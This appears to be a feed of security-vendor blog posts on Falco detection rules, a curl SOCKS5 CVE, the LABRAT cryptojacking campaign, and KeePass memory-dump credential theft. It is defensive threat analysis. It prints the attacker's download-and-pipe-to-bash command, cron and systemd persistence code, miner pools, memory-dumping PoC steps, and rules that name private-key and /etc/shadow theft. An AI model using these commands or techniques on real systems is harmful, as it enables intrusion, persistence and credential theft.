    (proc.name = "find" and (proc.args contains "id_rsa" or proc.args contains "id_dsa" or proc.args contains "id_ed25519" or proc.args contains "id_ecdsa" or (services_credentials_files))))
  output: Grep private keys or passwords activities detected on %container.name with cmdline %proc.cmdline and parent %proc.pname under user %user.name
  priority: WARNING

Availability: Falco OSS, Sysdig Runtime Threat Detection (Sysdig Secure Policy)

Secure your cloud today with end-to-end detection

At the heart of Sysdig Secure lies Falco’s unified detection engine. This cutting‑edge engine leverages real‑time behavioral insights and threat intelligence to continuously monitor the multi‑layered infrastructure, identifying potential security breaches. Whether it’s anomalous container activities, unauthorized access attempts, supply chain vulnerabilities, or identity‑based threats, Sysdig ensures that organizations have a unified and proactive defense against evolving threats.

Dig deeper into how Sysdig provides continuous cloud security across Runtime, AWS, GCP, and Azure.

Conclusion

SSH-Snake is an evolutionary step in the malware commonly deployed by threat actors. It is smarter and more reliable which will allow threat actors to reach farther into a network once they gain a foothold. The usage of SSH keys is a recommended practice that SSH-Snake tries to take advantage of in order to spread. It is also fileless, which can make static detection difficult.

That’s why a runtime solution, such as Sysdig Secure and Falco, are necessary. Detecting attacks as soon as they happen allows you to speed up the investigation process and will keep your exposure to a minimum.

The post SSH-Snake: New Self-Modifying Worm Threatens Networks appeared first on Sysdig.

• CVE-2023-38545 is a SOCKS5 heap buffer overflow. This flaw makes curl overflow a heap-based buffer in the SOCKS5 proxy handshake.
• CVE-2023-38546 is a cookie injection with a file named none. This flaw allows an attacker to insert cookies at will into a running program, using libcurl, if a specific series of conditions are met.

In the words of the researcher who discovered CVE-2023-38545:

“If the state machine is delayed, then the resolution is made remotely with a malformed SOCKS packet. The attacker has written to the heap and likely overwritten in-use data that comes after data->state.buffer. It’s undefined behavior at best and possible RCE at worst.”

The versions affected by the CVE-2023-38545 are:

• libcurl 7.69.0 up to and including 8.3.0 (introduced in the following commit)
• Versions not affected: libcurl < 7.69.0 and >= 8.4.0

In this article, we’ll explain CVE-2023-38545, how it is exploited, and how to detect it.

CVE-2023-38545 Details

For successful exploitation of CVE-2023-38545, there are some requirements that must be met when the target is the curl binary (as opposed to libcurl):

• Curl needs to try and use a domain name of excessive size
• The SOCKS setting need to include ––socks5-hostname, or –proxy or –preproxy set to use the scheme socks5h://
• The CURLOPT_BUFFERSIZE environment variable is either not set or is set smaller than 65541

The vulnerability also exists in the library version of curl, called libcurl. This library can be included in any program, which can make detection challenging as the above conditions can be set within the program itself and are generally not visible to security tools.

How the vulnerability works

The vulnerability exists due to a logic flaw in the way the do_SOCKS5 function is implemented. The function implements a state machine to handle all of the logic, from connecting to the proxy server to the final request. Given that the specification for the SOCKS5H socks proxy states that the remote resolution of a hostname can be a maximum of 255 characters. This check is performed by do_SOCKS5 in the first state, called CONNECT_SOCKS_INIT, without taking into account that we can exit the state machine at any time within CONNECT_SOCKS_READ by introducing a forced delay during the reception of the “hello” packet for the server. This causes the socket to remain in a pending state.

On subsequent calls to do_SOCKS5, the variable socks5_resolve_local, which controls whether the request should be resolved locally or remotely, is set to its previous state (FALSE). As we are no longer in CONNECTION_SOCKS_INIT state, no further checks are made to ensure that the hostname is not longer than 255 characters, leading to a heap buffer overflow.

For more information, the researcher who made the discovery published a complete walkthrough.

CVE-2023-38545 Exploitation Challenges

As of this blog’s publication, successful exploitation of this vulnerability will be difficult due to a number of factors:

• The attacker will need to control the destination server to cause an HTTP 30X redirect to a very long domain name in order to overflow the buffer. Alternatively, the attacker will need to be able to control the domain name passed to curl in order to point it to a malicious server or otherwise pass in the overflowing data.
• The dynamic memory allocation in the heap can change dynamically at any run, making it difficult to predict the exact location of the data you want to manipulate or overwrite.
• Since this is a remotely exploited vulnerability, there is no consistent memory leak that can be used to bypass ASLR (Address Space Layout Randomization) memory protection. The attacker would also not know what objects are allocated in memory near the buffer on which we are overflowing to successfully gain execution.

Detecting CVE-2023-38545

There are two use cases to address when trying to detect this vulnerability. For detection, we will use the open source tool Falco. The first case is if the curl binary itself is the target of exploitation. It is not practical to detect the exploitation code in the network packets or data, but we can make a behavioral rule.

In the rule below, we detect processes which are launched that have curl as a parent process and where curl is using SOCKS5. Curl typically doesn’t launch processes, so this could be an indication of a breach.

- macro: curl_pname_socks
  condition: proc.pcmdline contains " --socks" or proc.pcmdline contains " -x socks" or proc.pcmdline contains " --preproxy socks" or proc.env icontains "all_proxy=socks" or proc.env icontains "https_proxy=socks" or proc.env icontains "http_proxy=socks"

- rule: Curl with Socks options opening processes

  desc: Detect a curl command with socks options spawning processes

  condition: spawned_process and proc.pname=curl and (curl_pname_socks)

  output: A curl command with Socks options has just spawned a new process (proc.name=%proc.name proc.pname=%proc.pname proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline proc.env=%proc.env gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository)
  
priority: WARNING
  
tags: [host, container, CVE-2023-38545]

In the case of libcurl being exploited, it is even more difficult to detect since the library could be used in any process. In this case, we recommend more generic threat detection rules that detect post-exploitation behavior. While the way in which the program is exploited might be different, the attacker’s follow-on actions are usually the same.

Examples of open source rules available for Falco that can detect post-exploitation behavior:

• Run shell untrusted
• Search Private Keys or Passwords
• Redirect STDOUT/STDIN to Network Connection in Container
• Fileless execution via memfd_create
• Adding ssh keys to authorized_keys

Conclusion

The recently announced high severity vulnerability in curl is of concern, as it could result in remote code execution, but is not currently considered critical. Exploiting the vulnerability is not trivial and requires an attacker to be able to control the website being visited or the domain name which is passed to curl. It is also complicated by the library version being affected, which makes runtime detection difficult. Instead, we recommend looking for post-exploitation behavior, which is easier to detect and less prone to change.

Sysdig Secure can help you benchmark your Kubernetes cluster and check whether it’s compliant with security standards like PCI or NIST.

Try it today!

The post CVE-2023-38545: High Severity cURL Vulnerability Detection appeared first on Sysdig.

The attacker utilized undetected signature-based tools, sophisticated and stealthy cross-platform malware, command and control (C2) tools which bypassed firewalls, and kernel-based rootkits to hide their presence. To generate income, the attacker deployed both cryptomining and Russian-affiliated proxyjacking scripts. Furthermore, the attacker abused a legitimate service, TryCloudFlare, to obfuscate their C2 network.

Detecting attacks that employ several layers of defense evasion, such as this one, can be challenging and requires a deep level of runtime visibility. This attacker is still active, and continuously updating their tools, which requires the defender to both concentrate on detecting the primary tactics, techniques, and procedures (TTP) and keep their indicators of compromise (IoCs) list updated.

One obvious goal for this attacker was to generate income using proxyjacking and cryptomining. Proxyjacking allows the attacker to “rent” the compromised system out to a proxy network, basically selling the compromised IP Address. There is a definite cost in bandwidth, but also a potential cost in reputation if the compromised system is used in an attack or other illicit activities. Cryptomining can also incur significant financial damages if not stopped quickly. Income may not be the only goal of the LABRAT operation, as the malware also provided backdoor access to the compromised systems. This kind of access could lend itself to other attacks, such as data theft, leaks, or ransomware.

Technical Analysis

GitLab exploitation

The attacker gained initial access to a container by exploiting the known GitLab vulnerability, CVE-2021-22205. In this vulnerability, GitLab does not properly validate image files that were passed to a file parser which resulted in a remote command execution. There are many public exploits for this vulnerability and it is still being actively exploited.

Once the attacker had access to the server, they executed the following command in order to download a malicious script from the C2 server.

curl -kL -u lucifer:369369 https://passage-television-gardening-venue[.]trycloudflare.com/v3 | bash

The initial script allowed the attacker to achieve persistence, evade defenses, and perform lateral movement through the following actions:

• Check whether or not the watchdog process was already running to kill it.
• Delete malicious files if they exist from a previous run.
• Disable Tencent Cloud and Alibaba’s defensive measures, a recurring feature of many attackers.
• Download malicious binaries.
• Create a new service with one of these binaries and if root, ran it on the fly.
• Modify various cron files to maintain persistence.
• Gather SSH keys to connect to those machines and start the process again, doing lateral movement.
• Deletes any evidence that the above processes may have generated.

TryCloudFlare … to hide malicious hosting

The attacker attempted to obfuscate their C2 location by creating subdomains on trycloudflare[.]com. This domain is legitimate, as it is owned and operated by Cloudflare, but it is also used to create subdomains that have been used for phishing.

TryCloudFlare is an easy service to use, which benefits defenders, but also provides an opportunity to attackers. To create a new domain, it is as simple as only downloading and installing cloudflared, then running the following command, and you’re done:

/cloudflared tunnel -url "$HOST":"$PORT"

During the LABRAT operation, TryCloudFlare was used to redirect connections to a password-protected web server that hosted a malicious shell script. Using the legitimate TryCloudFlare infrastructure can make it difficult for defenders to identify subdomains as malicious, especially if it is used in normal operations too.

We also discovered different versions of the installation script, which were not previously reported. The attackers generated a new TryCloudFlare subdomain for each script so we can assume that they used a new domain per campaign, in order to keep altering their indicators of compromise. 

These initial scripts act as a file dropper and try to gain persistence on the victim network, and also pivot to additional systems if SSH credentials are discovered on the compromised system.

Another important element of the operation we discovered was that the attacker linked directly to a private GitLab repository to download binaries related to malicious activity. This repository has been active since September 2022 and some of the latest commits are very recent, only a few weeks old as of the writing of this blog. Creating your own GitLab server is very simple. Following the instructions, you can run it on your own Kubernetes infrastructure using containers. These are typically unlisted, allowing attackers to store their tools in a more manageable way.

We cannot assume, given the behavior of this actor, that this repository is owned by the attacker. They may have used an open server to upload the code here. As with a simple Shodan query, we can find thousands of such GitLab servers.

Some of the updated binaries in the repository are very recent and are not detected by VirusTotal. The attackers are constantly updating this toolset, making detection harder, while also adding new tools to make money.

Further evidence from the same actor

We detected another attack from the same actor but from a different source. The attackers did not use TryCloudFlare, but a Solr server instead. The IP is listed as harmless in VirusTotal and it points to a webpage that appears to be legitimate. It is possible that this IP was compromised and was being used by the attackers. We found Chinese forums posts [1,2] reporting to suffer cryptojacking incidents that fit the LABRAT operation. These attacks used the same private GitLab repository seen in the previous attack.

In this case, the attackers downloaded a pwnkit (CVE-2021-4034) binary from the private repository to elevate privileges in addition to another file that now responds as 404.

GSocket for a backdoor

Attackers always want to maintain remote access to their victims. Typically, this is by installing malware, which provides a backdoor. In the case of LABRAT, they have used an open source tool called Global Socket (GSocket). Much like Netcat, GSocket has legitimate uses, but of course it can also be used by attackers. Unlike Netcat, GSocket provides features such as a custom relay or proxy network, encryption, and the ability to use TOR, making it a very capable tool for stealthy C2 communications. To remove evidence of its installation, the LABRAT attacker tried to hide the process.

How GSocket works

From the GSocket homepage, “Global Socket allows two workstations on different private networks to communicate with each other.”

It does so by analyzing the program and replacing the IP-Layer with its own GSocket-Layer. A client connection to a hostname ending in *.gsocket then gets automatically redirected via the Global Socket Relay Network (GSRN), to this program. Once connected, the library then negotiates a secure end-to-end TLS connection. The GSRN sees only the encrypted traffic.

In the following images, we ran the malicious script without root privileges on a victim environment and the server ran waiting for a client with the randomly generated password. The attacker can now connect to the system, bypassing any inbound firewall rules. By default, this would not persist and in the event of a reboot, the attacker would lose access. To gain persistence, the attacker needs elevated privileges.

Based on the need for root privileges to achieve persistence, the attacker executed a local privilege escalation (LPE) exploit called m, which was stored in the private GitLab repository. The m binary attempted to use the pwnkit vulnerability (CVE-2021-4034) to gain root access.

The attacker now has the necessary tools to achieve elevated privileges and is able to maintain persistence. If GSocket is run as a server, it will automatically add itself to files which give it persistence, such as .bashrc and .profile.

GSocket installation

To install the GSocket server on the victim, the attacker obfuscated the whole process. Everything was executed from a single script and is explained in the following steps:

• Download the two tar files from the private repository. 
• Extract both files and concatenate them to generate a new script.
• This file self-extracts to have another script and several binaries.
• Run this last script, which deploys the server using the correct binary based on the architecture. This script is very similar to the original GSocket script, but with some command outputs removed and renamed as a backdoor.

During each step, the script eliminated all the evidence it generated. We edited the script to keep the files and saw all the binaries and the deploy.sh script. This script was the modified version of the official script where GSocket is renamed as a backdoor and sent some of the outputs hidden to run GSocket as a server.

Proxyjacking with ProxyLite and IPRoyal

During the investigation of the private repository, we found a binary called rcu_tr. Basic analysis shows that it is associated with IPRoyal, which is a known proxyware service. When you run the binary, you share your internet bandwidth with others who pay to use your IP address. The Sysdig TRT reported in “Proxyjacking has entered the chat” the use of this software on victims to generate income for malicious actors.

The repository also contained a tar file that housed three DLL files:

• ProxyService.Core.dll
• ProxyService.Core.deps.json
• ProxyService.Core.runtimeconfig.json

Initial analysis showed these files were related to a Russian proxyware service called ProxyLite[.]ru. This service is owned and operated by a Russian national. What makes this especially interesting is that the DLL uses .NET Core, is heavily obfuscated, and works on multiple platforms. At the time of this writing, the DLL was completely undetected by VirusTotal. It is definitely not common for legitimate software to use this level of obfuscation

During the analysis of ProxyService.Core.dll, we found heavily obfuscated functions like the one in the picture below. Each one of the lines in the image is a code path, and there are a lot of them. They are also very flat, instead of hierarchical, as we would normally expect to see.

The technique used to obfuscate the DLL is called Control Flow Flattening (CFF), which is used to hide the control flow of a function by replacing all the conditional blocks with a flat one, called a switch case. The flow charts below show a normal code path on the left and a flattened code path on the right.

This technique is meant to discourage reverse engineering due to the time-consuming nature of the task. We manually followed the obfuscated control flow and noticed that a check was performed to verify that the running platform is supported by the tool. Below is a simplified version of the check.

public class ClientComposerManager {
    private static const bool m_Initialized = false;
    private static const bool OSWin = false;
    private static const bool OSNix = false;
    private static const bool OSOSX = false;
    public static object Null()
    {
        return null;
    }


    [MethodImpl(MethodImplOptions.NoInlining)]
    internal unsafe static void CallAdapter()
    {
        int num = 684;
        for (;;)
        {
            int num2 = num;
            for (;;)
            {
                case 684:
                    if(ClientComposerManager.m_Initialized)
                    {
                        num = 683;
                        continue;
                    }
                    ClientComposerManager.m_Identifier = true;
                    num2 = 12;
                    if (ClientComposerManager.Null() == null) // Always True next branch is 192
                    {
                        num2 = 192;
                        continue;
                    }
                    continue;
                case 192:
                    try
                    {
                        RSACryptoServiceProvider.UseMachineKeyStore = true;
                    }
                    catch
                    {
                    }
                    num2 = 480;
                    continue;
                case 480:
                    ClientComposerManager.OSWin = RuntimeInformation.IsOSPlatform(OSPlatform.Windows); 
                    num2 = 645;
                    continue;
                case 645:
                    ClientComposerManager.OSNix = RuntimeInformation.IsOSPlatform(OSPlatform.Linux); 
                    num2 = 60;
                    continue;
                case 60:
                    ClientComposerManager.OSOSX = RuntimeInformation.IsOSPlatform(OSPlatform.OSX); 
                    num2 = 543;
                    if (ClientComposerManager.Null() != null) // Always false branch
                    {
                        num2 = 511;
                        continue;
                    }
                    continue;
                default:
            }
        }
    }
 }

There is specific mention of Windows, OSX, and Linux in the code shown above. This gave us some useful insight about the wide range of supported platforms. Another insight came from the presence of different DLL names commonly used by .NET on all the mentioned platforms.

This malicious DLL will work on Linux, Windows, and MacOS since it was built with .NET Core. This portability, combined with the obfuscation, makes it a very effective tool for the attacker. However, its use is also limited because it requires the victim system to have the .NET core libraries.

Apart from that, this binary ensures its own safety by using two common methods:

• Anti debug checks
• Anti tampering checks

The first one is implemented using the Debugger.IsAttached method of C#. This check is a common way for a program to detect if it is being launched with a debugger attached, such as WindDB or gdb. The second one is hardcoded inside a flattened function in the form of a SHA1 hash check against its own assemblies. This is particularly useful when it comes to detect if its own assemblies were modified.

Encrypted cryptographic material was also present as embedded resources inside the binary itself. As you can see below, Client.Item contained a serialized RSA key in the form of an XML file.

This is the decrypted RSA key:

<RSAKeyValue><Modulus>zlUkMywGKDNbeJxH/zDotBK2KGsq3+fCyOXuaEHc38tL8CEymadHC4IvnPJ4ZHsuEIho1JVEVlJXYmPAkmiAboHJvV8Wnei2yfvn6tWX/Cnz7brgK+XlQVtVXlGUfU/ygy3kahGh10KW3yBgqs8Nuz7UlYBB7QLjBzyjFFy4chM=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

The decryption of such resources is done via AES CBC 256. Both the Key and the IV are randomized, and such decryption routines are also usually obfuscated with the previously discussed technique, CFF.

As we can see from the screenshot, an array of 32 bytes (AES-256 key) was declared and then manually populated. This array contained the AES symmetric key used to decode one of the resources. To make it difficult to follow the code, the obfuscator added some junk code, which invalidated the previous operation.

num5 = 221 - 73;
array2[2] = (byte)num5; // invalidated
array2[2] = 68 + 121; // invalidated
array2[3] = 236 - 78; // invalidated
array2[3] = 151 - 50; // actual value

The same operation is later performed again to craft an Initialization Vector used to perform the final decryption. 

There were no strings present in the binary itself because the decryption of such strings is performed dynamically at runtime.

The function above is responsible for decrypting strings at runtime. Static analysis of such functions is not possible since the array containing all the strings is never populated with the code from the DLL itself, but still it is possible to retrieve all the strings by manually hooking the JIT compiled method as shown in the screenshot below.

There is always cryptojacking…

We observed cryptojacking using multiple customized xmrig binaries. This differs from the typical cryptojacking attacks we see because all of the configuration information was hardcoded into the binary instead of included in extra files or passed on the command line.  At the time of discovery, these mining binaries had not been submitted to VirusTotal.

Looking inside the included xmrig binaries, we found the mining pools the attacker connected to, which were:

• 192[.]227.165.88:6666
• 192[.]227.165.88:4443
• 172[.]245.226.47:5858

These pools were not detected as malicious or associated with known mining pools by VirusTotal. In addition, they were related to other binaries with the name rcu_bj, which are xmrig binaries. We discovered an earlier campaign where these binaries were used and shared on some forums but were not attributed to any actor.

Looking at the repository history, we found other stored miners that were likely used in other campaigns. We repeated the process and we discovered another pool that was reported as  malicious by VirusTotal.

• 23[.]94.204.157:44445
• 23[.]94.204.157:7773

This IP address was related to malware from one year ago that had similar behavior but again, no attribution. 

In a recent change, these miners were renamed to sshd in order to look like a legitimate process on the system.

Go for persistence

During the investigation, we discovered that the attacker used multiple binaries on their compromised systems. One was the previously mentioned cryptominer, another binary looked harmless at first glance, and at the time of this writing it was undetected by VirusTotal. It was initially called initd but was renamed to sysinit. 

Inside the initial file dropper script, the attacker created a new systemd service called s.service to execute this binary on startup. They also added entries to various cron files in case the systemd execution wasn’t enough to keep their malware running on the victim system.

Systemd service:

    cat >/tmp/s.service <<EOL
    [Unit]
    Description=Servicus-d

    [Service]
    ExecStartPre=/bin/sleep 10
    ExecStart=$HOME_1/sysinit

    Restart=always
    Nice=10
    CPUWeight=1

    [Install]
    WantedBy=multi-user.target
    EOL

Adding binary to cron files:

    ​​makecron(){
        list=["/etc/cron.d/root" "/etc/cron.d/apache" "/etc/cron.d/nginx" "/var/spool/cron/root" "/etc/cron.hourly/oanacroner"]
        echo -e "*/3 * * * * $HOME_1/sysinit" | crontab -
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/apache
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/nginx
        echo -e "*/3 * * * * $HOME_1/sysinit" > /var/spool/cron/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /var/spool/cron/crontabs/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.hourly/oanacroner

        for arch in ${list[@]}; do
            chmod +x arch
            chattr +ia arch
        done
    }

This binary was written in GoLang and was likely used for a few reasons. If it was launched alone, it checked for a number of processes on the system and killed them. The processes it attempted to kill were associated with other miners or old versions of itself. The attacker wanted to make sure theirs wase the only malware running on the system so they could maximize their earning power. A sample output of the program trying to kill other miners is shown below.

2023/07/03 09:23:07 Process gitlabw is not running.
2023/07/03 09:23:07 Process kthreaddi is not running.
2023/07/03 09:23:07 Process stratum is not running.

Reverse engineering revealed that this binary was also the main loader. When ran, it was responsible for starting up the miner which masqueraded as sshd. The program started the miner with the following code.

…
SshDevNull        = "/sshd >/dev/null 2>&1 &"
ExecAWatchdodg    = "exec -a '[watchdodg]' "
…
cmd := exec.Command("bash", "-c", "nohup "+ExecAWatchdodg+SshDevNull)
…

Private GitLab updates

During the writing of this article, the private repository has continued to operate, following the same procedure we have shown so far. Twice, 2 files were uploaded. The go binary was updated to add the new binary containing the miner with the pool and configuration already added.

We found the new mining pools:

• 107[.]173.154.7:6969
• desertplanets[.]com:6666
• 172[.]245.226.47:5858

Hide and seek with kernel rootkits

In researching previous attacks conducted by this actor, there was evidence that they used a kernel-based rootkit to hide the mining process, specifically hiding-cryptominers-linux-rootkit. These types of rootkits can make it almost impossible for a defender to detect malicious activity, as attackers gain full control over everything that happens on the system. Often, their presence is only detected through offline forensics. 

Runtime detection is possible, but only if the system has a runtime monitoring tool such as Falco, enabled when the rootkit is installed.  There is also an opportunity to detect the communications between the kernel portion of the rootkit and the userland. In this case, it uses the kill system call and custom signal values to control the rootkit’s behavior. Detection tools can observe those values and trigger alerts.

This malicious Linux LKM (Loadable Kernel Module) will hook multiple system calls and kernel functions in order to hide the xmrig miner process from any process listing tools, such as “ps.” It will also hide the CPU usage related to the miner, so administrators won’t be able to see that the CPU is being heavily utilized. The complete explanation of the tool is detailed in the article Hiding miners on Linux for profit.

Conclusion

This operation was much more sophisticated than many of the attacks the Sysdig TRT typically observes. Many attackers do not bother with stealth at all, but this attacker took special care when crafting their operation. The stealthy and evasive techniques and tools used in this operation make defense and detection more challenging. Since the goal of the LABRAT operation is financial, time is money. The longer a compromise goes undetected, the more money the attacker makes and the more it will cost the victim. A robust threat detection and response program is necessary to quickly detect and respond to the attack.

Crypomining and proxyjacking should never be considered nuisance malware and be written off by having the system rebuilt without a thorough investigation. As seen in this operation, malware does have the ability to automatically spread to other systems with SSH keys. We have also seen in the past, with SCARLETEEL, that attackers will install cryptominers, but also steal intellectual property if they have the opportunity. 

IoCs

The post LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab  appeared first on Sysdig.

We strongly recommend updating to KeePass 2.54 to fix the vulnerability.

In this article we explain the new vulnerability CVE-2023-32784, how it works, and how to detect this type of attack when the attacker gains full access to your system and performs advanced techniques to steal your credentials.

Credentials in Memory Linux

When we talk about credentials in Linux, we usually think of the /etc/shadow file, but that is not the only place where passwords can be stored. Many processes also store credentials in memory, which malicious tools will try to extract. For example, the proc directory described below is a popular vector for this type of attack.

From the Linux Kernel Doc:
“The directory /proc contains (among other things) one subdirectory for each process running on the system, which is named after the process ID (PID).”

MITRE defined that the adversaries may gather credentials from the proc filesystem as OS Credential Dumping: Proc Filesystem T1003.007.

What is KeePass CVE-2023-32784?

CVE-2023-32784 allows the recovery of the cleartext master password from a memory dump. The memory dump can be a KeePass process dump, swap file (pagefile.sys), hibernation file (hiberfil.sys), or RAM dump of the entire system.

KeePass 2.X uses a custom-developed text box for password entry, SecureTextBoxEx. The flaw exploited in this CVE is that for every character typed, a leftover string is created in memory. Because of how .NET works, it is nearly impossible to get rid of it once it gets created. For example, when “Password” is typed, it will result in these leftover strings: •a, ••s, •••s, ••••w, •••••o, ••••••r, •••••••d. The first character cannot be recovered.

The PoC we use follows the steps below to extract the KeePass secret key:

• First, scan all /proc/<pid>/cmdline files and store the pid of ones with the keyword KeePass.
• Then, acquire the addresses of memory maps in /proc/<pid>/maps that aren’t directly associated with a library.
• Finally, store the memory of all those maps into a buffer by taking advantage of /proc/<pid>/mem. Parse the memory to try and find leftover strings from when the user typed their master password, strings that look like •a, ••s, •••s, in sequence.

As we can see in the image above, the master key is exposed without the first character.

How to Detect KeePass CVE-2023-32784

To detect this type of attack, we should be able to monitor access to the /proc folder by an unknown process. This will trigger an alert and we can investigate further.

If we try to detect this with Falco, an open source project under the CNCF, it provides real-time detection of unusual activities in cloud-native environments by sending alerts. In this scenario, we need to adjust the rule Read environment variable from /proc files or create a new one.

To correctly trigger this rule, we should modify the condition to catch the read of /proc/<pid>/cmdline, /proc/<pid>/maps, or /proc/<pid>/mem, which is used in the PoC to obtain the KeePass master password.

- rule: Dump memory detection
  desc: An attempt to read process environment variables from /proc files
  condition: >
    open_read and container and (fd.name glob "/proc/*/mem" or fd.name glob "/proc/*/maps")
  output: >
    Detected process memory dump to search for credentials (proc.name=%proc.name proc.pname=%proc.pname fd.name=%fd.name container=%container.info evt.type=%evt.type evt.arg.request=%evt.arg.request proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline)

With this new rule, we are able to detect the exploitation of CVE-2023-32784.

The alert contains all the information we needed to continue investigating the threat.

10:47:47.232147057: Warning Detected process memory dump to search for credentials (proc.name=dump proc.pname=sudo fd.name=/proc/2859/mem container=host (id=host) evt.type=openat evt.arg.request=<NA> proc.pid=2916 proc.cwd=/home/kpdemo/CVE-2023-32784-keepass-linux/ proc.ppid=2915 proc.cmdline=dump proc.pcmdline=sudo ./dump gparent=bash ggparent=gnome-terminal- gggparent=systemd proc.sid=2802 proc.exepath=/home/kpdemo/CVE-2023-32784-keepass-linux/dump user.uid=0 user.loginuid=1000 user.loginname=kpdemo user.name=root group.gid=0 group.name=root container.id=host container.name=host image=<NA>)

As mentioned in the exploit, if the attacker has sufficient permissions and capabilities within your machine, the attacker may be able to perform any malicious action. However, this rule can give us an indication of whether our credentials have been breached and act accordingly.

More Tools to Dump Process Memory

If we research a little more about this type of technique, we see that there are other tools that perform a similar action. Let’s see a couple and how to detect them in the same way.

Mimipenguin

Mimipenguin 2.0 is a tool to dump the login password from the current Linux desktop user. It is adapted from the idea behind the popular Windows credential stealing tool mimikatz.

The tool tries to do something similar to the KeePass PoC but, in this case, it does not find the key (because the CVE is not implemented). However, it is able to obtain system credentials. In the image above, we can see both alerts; the first one is where it detects access to /proc/<pid>/mem.

10:56:59.508184318: Warning Detected process memory dump to search for credentials (proc.name=python proc.pname=sudo fd.name=/proc/1114/mem container=host (id=host) evt.type=openat evt.arg.request=<NA> proc.pid=7194 proc.cwd=/home/kpdemo/mimipenguin/ proc.ppid=7193 proc.cmdline=python mimipenguin.py proc.pcmdline=sudo python mimipenguin.py gparent=bash ggparent=gnome-terminal- gggparent=systemd proc.sid=2802 proc.exepath=/usr/bin/python user.uid=0 user.loginuid=1000 user.loginname=kpdemo user.name=root group.gid=0 group.name=root container.id=host container.name=host image=<NA>) 

The second is where it gains access to /etc/shadow from where it extracts the user’s password.

10:57:52.447428441: Warning Sensitive file opened for reading by non-trusted program (user=root user_loginuid=1000 program=python command=python mimipenguin.py pid=7194 file=/etc/shadow parent=sudo gparent=bash ggparent=gnome-terminal- gggparent=systemd container_id=host image=<NA>)

LaZagne

The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. In this case, it not only focuses on memory, but also searches for credentials using different techniques (plain text, API, custom algorithms, databases, etc.).

In this example, we have again the alert detecting the access again, and the tool shows us that it has found both the user’s password and the KeePass database that we had saved.

11:14:02.074516511: Warning Detected process memory dump to search for credentials (proc.name=python proc.pname=sudo fd.name=/proc/1114/maps container=host (id=host) evt.type=openat evt.arg.request=<NA> proc.pid=7253 proc.cwd=/home/kpdemo/LaZagne/Linux/ proc.ppid=7252 proc.cmdline=python laZagne.py all proc.pcmdline=sudo python laZagne.py all gparent=bash ggparent=gnome-terminal- gggparent=systemd proc.sid=2802 proc.exepath=/usr/bin/python user.uid=0 user.loginuid=1000 user.loginname=kpdemo user.name=root group.gid=0 group.name=root container.id=host container.name=host image=<NA>)

Lesson learned

Harvesting credentials is a very common technique used by attackers. It is required to have all the necessary tools to detect these types of actions to prevent them from moving laterally or affecting other services.

Falco provides a final layer of security that allows us to monitor access and detect any malicious behavior.

Finally, we strongly recommend upgrading to the new version, KeePass 2.54.

The post KeePass CVE-2023-32784: Detection of Processes Memory Dump appeared first on Sysdig.

According to Gartner®, “By 2023, 75% of security failures will result from inadequate management of identities, access, and privileges, up from 50% in 2020.” [1] Although many organizations are talking about zero trust principles, such as enforcing least privilege, our data shows little evidence of action. With this information, some questions begin to arise:

• Why do many companies still have misconfigurations today? 
• Is it really that complicated for organizations to correctly configure access controls in the cloud? 
• If frameworks and best practices exist, why are they not followed? 

If you want to know more about IAM misconfigurations, vulnerability prioritization, supply chain attacks, or how many resources and how much money you are wasting right now in Kubernetes, don’t miss the opportunity to read Sysdig’s Cloud-Native Security and Usage Report.

What is the principle of least privilege?

Depending on your role, it is easy to assume that you will only have specific permissions that are necessary to perform your tasks. For example, if you are a developer within a project, you should only be able to view or edit code but not create a new project. 

That’s what we call the least privilege principle; any developer, security architect, or compliance expert should be able to do their work without blockers but should not be able to go beyond this scope. Don’t forget the non-human accounts that also have their own authorizations that must also follow least privilege. 

But keep calm. Cloud providers give you all the resources and services to maintain protected accounts, such as IAM, Policies, Roles, Users, Groups, and so on. There are also best practices that, if followed, will minimize risk as much as possible. 

So where’s the problem?

The least privilege-cloud implementation disconnect

Why is there such a disconnect between intended secure design with least privilege and an actual cloud implementation? There is no simple answer, or answers, since many access control elements are involved and implementations vary between organizations. We’ve grouped the main causes into three categories for simplicity, in no particular order of importance.

Every developer or employee of the company is an exception

It can be hard to know who needs what permissions in an organization to effectively do their job. 

The basics of IAM stress that you should group your users based on parameters, such as job title or department, and then attach only the access policies with the exact rules they need to perform their work. Typically, this is explained as role-based access control, but this theory fights with the realities of complex organizational structures where individuals are not working in isolated teams. 

Think about cross-team efforts, an individual or group that contributes to various engineering teams, interacts with sales, and provides assistance to developers. With each of these efforts come permissions that ideally should be granted temporarily, as each project or support line exists. However, doing it every time is granular and adds a huge workload, leading to situations where permissions are given globally or permanently for simplicity’s sake.

In summary, users need some adjustments to their permissions to do their work, which has an unintended side effect of producing over-permissioned users.

In the end, DevOps and security teams tend to grant more permissions than needed, so teams can perform work without being inhibited and focus on business goals. Functionality and availability are usually paramount, sometimes at the expense of robust security. There is intense pressure on security teams to steer away from the “culture of no” as part of the DevOps movement. Scrutinizing why someone or something needs elevated permissions slows down business process and application releases.

Evidence of this business reality and the resulting impact can be seen in the usage report, where Sysdig found that 90% of granted permissions are not used.

Furthermore, cloud vendors and their offerings are evolving incredibly fast year-over-year. The continuous addition of services, as well as changes to existing ones, complicates permissions further, leading to scaling challenges.

Identity and access management is challenging to scale 

The first root cause leads us to the second one, when everyone in the company becomes an exception to your perfect and compliant configuration because they need specific permissions to accomplish their work. Generating constant changes in the policies leads to a need for an entire team to manage them. Oftentimes, only the largest organizations have the luxury of staffing dedicated IAM teams, but it can still be a losing battle in their case.

Focusing on individual users and groups is too hard to manage given granularity. The number of users creates an exponential amount of identities and access rules. Additionally, we have resources that increase the complexity and maintaining them manually makes it impossible to scale.

